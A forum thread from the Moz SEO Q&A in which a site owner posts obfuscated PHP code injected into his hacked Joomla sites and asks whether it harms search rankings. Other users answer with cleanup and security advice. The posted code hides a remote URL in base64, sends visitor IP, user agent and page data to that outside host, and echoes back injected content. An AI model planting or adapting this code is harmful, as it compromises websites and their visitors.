The Moz Q&A Forum

    • Forum
    • Questions
    • My Q&A
    • Users
    • Ask the Community

    Welcome to the Q&A Forum

    Browse the forum for helpful insights and fresh discussions about all things SEO.

    1. SEO and Digital Marketing Q&A Forum
    2. Categories
    3. White Hat / Black Hat SEO
    4. Website has been hacked will this hurt ranking

    Website has been hacked will this hurt ranking

    White Hat / Black Hat SEO
    5 2 1.1k
    • Oldest to Newest
    • Newest to Oldest
    • Most Votes
    Reply
    • Reply as question
    Log in to reply
    This topic has been deleted. Only users with topic management privileges can see it.
    • GTGshops
      GTGshops last edited by

      Today we found out that a website of as has been hacked and that they put this code in multiple index.php files:

      if (!isset($sRetry))
      {
      global $sRetry;
      $sRetry = 1;
      // This code use for global bot statistic
      $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
      $stCurlHandle = NULL;
      $stCurlLink = "";
      if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
      {
      if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
      $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
      @$stCurlHandle = curl_init( $stCurlLink );
      }
      }
      if ( $stCurlHandle !== NULL )
      {
      curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
      $sResult = @curl_exec($stCurlHandle);
      if ($sResult[0]=="O")
      {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
      curl_close($stCurlHandle);
      }
      }
      ?>

      After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings.

      My first question :  Will this hurt my rankings ?

      Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this.

      Grtz,

      Ard

      1 Reply Last reply Reply Quote 0
      • Jonathan1979
        Jonathan1979 last edited by

        I have read elsewhere that it impacts what search engines see, so will insert backlinks to other sites which only show to the crawlers.  You, or anyone else visiting the site would not notice anything different.  Its a very sneaky hack.

        This would potentially affect your site rankings.  Apart from PR leakage, if they are linking to bad domains etc Google might not look kindly on it.

        Just remove the offending code \ hack, and things should slowly get back to normal though as your site is recrawled.  Have you noticed a change in your rankings?  If you sort it quickly, I doubt you will need to do anything, but remove the hack.

        Has Google identified your site as being hacked?  If they have follow these steps including request they review the site at the end: http://www.google.com/webmasters/hacked/

        GTGshops 1 Reply Last reply Reply Quote 1
        • GTGshops
          GTGshops @Jonathan1979 last edited by

          Hi Jonathan,

          Luckily I haven't seen any changes in rankings in the last weeks. Let hope it stays this way.

          I did find files that were changed on the 10 of September.

          Google hasn't identified my site as being hacked.

          Is there anything else I can do?

          Jonathan1979 1 Reply Last reply Reply Quote 0
          • Jonathan1979
            Jonathan1979 @GTGshops last edited by

            If you are using wordpress, I would be inclined to reinstall the base files, or restore from a backup to a time prior to the hack (if you have not made many changes since).

            I would also recommend the wordpress security plugin, change all passwords to strong ones etc.

            Don't just fix the problem, but secure your site against it happening again as well.

            GTGshops 1 Reply Last reply Reply Quote 0
            • GTGshops
              GTGshops @Jonathan1979 last edited by

              I'm using joomla sites. I now know how they got into our sites. We had malware on one of the computers, and apparantly keeps filezilla the passwords in a text files without encryption. I have changed all the comprimised files back, and changed every password on the sites. The hack changed every index and footer file. Let's hope it doesn't came back.

              1 Reply Last reply Reply Quote 0
              • 1 / 1
              • First post
                Last post
              • Free tool, and it ranks well for adult sites and checking if they are down, will that hurt us with ranking for normal sites with google?
                bwb
                bwb
                0
                4
                287

              • Do content copycats (plagiarism) hurt original website rankings?
                jasongmcmahon
                jasongmcmahon
                0
                4
                444

              • Hacked Websites (Doorways) Ranking First Page of Google
                monarkg
                monarkg
                0
                3
                82

              • Image redirection: Will it helps or hurts?
                benesmartin
                benesmartin
                0
                5
                88

              • What is happening to our website ??? Not getting RANKING but Competitors do RANK well???
                MattRoney
                MattRoney
                0
                13
                278

              • How to re-rank an established website with new content
                max.favilli
                max.favilli
                0
                6
                513

              • Need help please with website ranking problem!
                evolvingSEO
                evolvingSEO
                0
                3
                162

              • Why my website’s ranking is being up and down?
                evolvingSEO
                evolvingSEO
                0
                6
                4.7k

              Get started with Moz Pro!

              Unlock the power of advanced SEO tools and data-driven insights.

              Start my free trial
              Products
              • Moz Pro
              • Moz Local
              • Moz API
              • Moz Data
              • STAT
              • Product Updates
              Moz Solutions
              • SMB Solutions
              • Agency Solutions
              • Enterprise Solutions
              • Digital Marketers
              Free SEO Tools
              • Domain Authority Checker
              • Link Explorer
              • Keyword Explorer
              • Competitive Research
              • Brand Authority Checker
              • Local Citation Checker
              • MozBar Extension
              • MozCast
              Resources
              • Blog
              • SEO Learning Center
              • Help Hub
              • Beginner's Guide to SEO
              • How-to Guides
              • Moz Academy
              • API Docs
              About Moz
              • About
              • Team
              • Careers
              • Contact
              Why Moz
              • Case Studies
              • Testimonials
              Get Involved
              • Become an Affiliate
              • MozCon
              • Webinars
              • Practical Marketer Series
              • MozPod
              Connect with us

              Contact the Help team

              Join our newsletter
              Moz logo
              © 2021 - 2026 SEOMoz, Inc., a Ziff Davis company. All rights reserved. Moz is a registered trademark of SEOMoz, Inc.
              • Accessibility
              • Terms of Use
              • Privacy